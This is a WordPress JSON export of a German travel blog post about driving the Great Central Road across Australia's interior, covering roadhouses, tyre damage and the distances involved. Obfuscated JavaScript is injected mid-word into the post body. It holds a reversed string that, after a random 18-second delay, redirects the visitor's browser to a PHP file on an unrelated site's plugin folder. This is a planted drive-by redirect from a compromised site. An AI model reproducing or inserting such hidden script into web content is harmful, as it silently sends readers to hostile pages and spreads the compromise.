{"id":1327,"date":"2013-03-21T09:03:50","date_gmt":"2013-03-21T08:03:50","guid":{"rendered":"http:\/\/www.zasi.ch\/sblog\/?p=1327"},"modified":"2013-03-19T07:37:48","modified_gmt":"2013-03-19T06:37:48","slug":"great-central-road-zuruck-in-den-westen","status":"publish","type":"post","link":"https:\/\/www.zasi.ch\/sblog\/index.php\/archives\/1327?lang=en","title":{"rendered":"Great Central Road zur\u00fcck in den Westen"},"content":{"rendered":"<p>Die Great Central Road (GCR) ist ber\u00fchmt und oft befahren und zugleich auch ber\u00fcchtigt. Hier kann es gut und gerne vorkommen, das ein Reifen durch einen Stein derart schwer verletzt wird, dass das Rad gewechselt werden muss. Dies dann oft bei 40\u00b0 im Schatten wo keiner ist \ud83d\ude09<\/p>\n<p>Wir geh\u00f6ren zu den Gl\u00fccklichen, die durch die ganze Strecke hindurch problemlos und mit den 4 aufgeschnallten Reifen durchkommen. Immerhin sind es \u00fcber 1000km und dies reine &#8220;Dustroad&#8221; -&gt; 4WD recommended.<br \/>\nZugleich ist die Strecke als Highway in den Karten von Australien aufgef\u00fchrt und die Roadhouses werden wie \u00fcblich durch Road Trains angesteuert und mit Waren beliefert. Irgendwie sehr beeindruckend und f\u00fcr uns v\u00f6llig spannend und interessant.<\/p>\n<p>Wir erleben die Fahrt als sehr &#8220;Gr\u00fcn&#8221;. Hier hat es in den letzen Tagen\/Wochen geregnet und nun bl\u00fcht das Zentrum von Australien auf und wir erleben dies gleich und v\u00f6llig unerwartet.<\/p>\n<p>Im <a title=\"Tjukayirla Roadhouse, Great Central Road Australia\" href=\"http:\/\/www.tjukayirlaroadhouse.com.au\/\" target=\"_blank\">Roadhouse Tjukayirla<\/a> erfahren wir, dass das Government von Australien beschlossen hat, die Great Central Road von einer Dustroad neu zur Terrstrasse umzugestalten. Interessant und sicher eine grosse, anspruchsvolle Planung f\u00fcr \u00fcber 1000km in der W\u00fcste ohne kurze Zulieferwege.<\/p>\n<p>Die Distanzen sind hier eh gigantisch, f\u00e4hrt man beispielsweise von Kulgera (s\u00fcdlichster Ort in Northen Terri<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script>tory) bis Darwin locker 1772km und ist nur von S\u00fcd nach Nord auf ein und dem selben Highway im gleichen Staat von Australien gefahren \ud83d\ude09<br \/>\nMan stelle sich nun die Distanz ab Bern vor &#8211; S\u00fcdlich ist man dann in Sizilien bzw ca. H\u00f6he Zypern und n\u00f6rdlich in Estland.<br \/>\nUnd dann noch Westaustralien: nur in Westaustralien kann mann \u00fcber 3000km Nord-S\u00fcd fahren und ist noch im selben Staat.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Die Great Central Road (GCR) ist ber\u00fchmt und oft befahren und zugleich auch ber\u00fcchtigt. Hier kann es gut und gerne vorkommen, das ein Reifen durch einen Stein derart schwer verletzt wird, dass das Rad gewechselt werden muss. Dies dann oft bei 40\u00b0 im Schatten wo keiner ist \ud83d\ude09 Wir geh\u00f6ren zu den Gl\u00fccklichen, die durch&#8230;<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ngg_post_thumbnail":0,"footnotes":""},"categories":[3],"tags":[1717,1133,1125,1739,1132,1134,975,1127],"_links":{"self":[{"href":"https:\/\/www.zasi.ch\/sblog\/index.php\/wp-json\/wp\/v2\/posts\/1327"}],"collection":[{"href":"https:\/\/www.zasi.ch\/sblog\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.zasi.ch\/sblog\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.zasi.ch\/sblog\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.zasi.ch\/sblog\/index.php\/wp-json\/wp\/v2\/comments?post=1327"}],"version-history":[{"count":8,"href":"https:\/\/www.zasi.ch\/sblog\/index.php\/wp-json\/wp\/v2\/posts\/1327\/revisions"}],"predecessor-version":[{"id":1342,"href":"https:\/\/www.zasi.ch\/sblog\/index.php\/wp-json\/wp\/v2\/posts\/1327\/revisions\/1342"}],"wp:attachment":[{"href":"https:\/\/www.zasi.ch\/sblog\/index.php\/wp-json\/wp\/v2\/media?parent=1327"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.zasi.ch\/sblog\/index.php\/wp-json\/wp\/v2\/categories?post=1327"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.zasi.ch\/sblog\/index.php\/wp-json\/wp\/v2\/tags?post=1327"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}